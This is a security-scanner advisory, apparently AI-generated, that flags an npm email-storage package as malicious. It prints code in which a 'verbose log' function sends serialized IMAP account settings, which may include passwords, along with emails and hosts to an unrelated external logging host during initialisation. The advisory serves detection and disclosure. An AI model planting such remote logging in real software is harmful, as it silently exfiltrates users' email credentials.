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@bobfrankston/mailx-store-web@0.1.91: Malicious npm security | LPM Firewall

registry / @bobfrankston/mailx-store-web / 0.1.91

@bobfrankston/mailx-store-web@0.1.91

AI Security Review

scanned 4h ago · by lpm-firewall-ai

At Android bootstrap and worker initialization, the package transmits account-related verbose logs to rmf39.aaz.lt. The Android path serializes the IMAP configuration before sending it, exposing credentials when present.

Static reason

No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

A consumer calls initAndroid(), or initializes the packaged worker with stored accounts.

Impact

An external host can receive email addresses, server details, and IMAP passwords included in account configuration.

Mechanism

Remote logging of account configuration and metadata.

Attack narrative

The Android bootstrap loads cloud accounts and passes a string containing JSON.stringify(account.imap) to vlog. vlog encodes and sends up to 800 characters to rmf39.aaz.lt. IMAP configuration is also used with a password field elsewhere in the package, so this can disclose configured credentials without a user action that requests telemetry. The worker initialization path similarly routes account email and host metadata to the same logger.

Rationale

This package contains a concrete credential-exfiltration path: serialized IMAP account configuration is sent to an unrelated remote logging endpoint during normal initialization. Absence of install hooks does not mitigate runtime disclosure of account credentials.

Evidence

android-bootstrap.tsworker-entry.tssync-manager.tspackage.json

Network endpoints1

rmf39.aaz.lt/logit/

Source & flagged code

7 flagged · loading source

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.287 matchedPath = packages/mailx-store-web/worker-bundle.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.287 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e1734c4f68f337b9 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.89 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.89 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.tsView file

54/** Verbose log — goes to logit but doesn't clutter the screen (silent=true) */ function vlog(msg: string): void { try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); } catch { /* ignore */ } }

High

Ai Review Evidence

Android bootstrap sends verbose log messages to an unrelated external host.

android-bootstrap.tsView on unpkg · L54

1525// Read accounts directly from GDrive (bypass IndexedDB cache) narrate("Loading accounts from Google Drive…"); const gdriveAccounts = await loadAccountsFromCloud(); console.log(`[android] GDrive returned ${gdriveAccounts.length} accounts: ${gdriveAccounts.map(a => a.id).join(",")}`); if (gdriveAccounts.length > 0) { // Use canonical GDrive accounts (upsert handles overwrites) accounts = gdriveAccounts; const enabled = accounts.filter(a => a.enabled);

High

Ai Review Evidence

The bootstrap logs the full serialized IMAP configuration for cloud-loaded accounts, which can include passwords.

android-bootstrap.tsView on unpkg · L1525

1534let setUp = 0; for (const account of accounts) { vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`); if (!account.enabled) { vlog(`init: ${account.id} disabled, skipping`); continue;

High

Ai Review Evidence

The bootstrap logs the full serialized IMAP configuration for cloud-loaded accounts, which can include passwords.

android-bootstrap.tsView on unpkg · L1534

worker-entry.tsView file

167// Create sync manager with injected deps syncManager = new SyncManager(db, bodyStore, { emitEvent, vlog, createTcpTransport: () => new WorkerTcpTransport(), }); service = new WebMailxService(db, bodyStore, syncManager); // Load accounts let accounts = await loadAccounts(); console.log(`[worker] ${accounts.length} account(s) found`); let gmailTokenProvider: (() => Promise<string>) | null = null; for (const account of accounts) { if (!account.enabled) continue; const domain = account.email?.split("@")[1]?.toLowerCase

High

Ai Review Evidence

The worker path also sends account email and server metadata through the same remote logger.

worker-entry.tsView on unpkg · L167

sync-manager.tsView file

47async addAccount(account: AccountConfig): Promise<void> { this.deps.vlog(`addAccount id=${account.id} email=${account.email} host=${account.imap?.host} auth=${account.imap?.auth}`); this.db.upsertAccount(account.id, account.name, account.email, JSON.stringify(account)); if (this.isGmailAccount(account)) { const tokenProvider = this.tokenProviders.get(account.id); if (tokenProvider) { this.providers.set(account.id, new GmailApiWebProvider(tokenProvider)); console.log(`[sync] ${account.id}: Gmail API provider

High

Ai Review Evidence

The worker path also sends account email and server metadata through the same remote logger.

sync-manager.tsView on unpkg · L47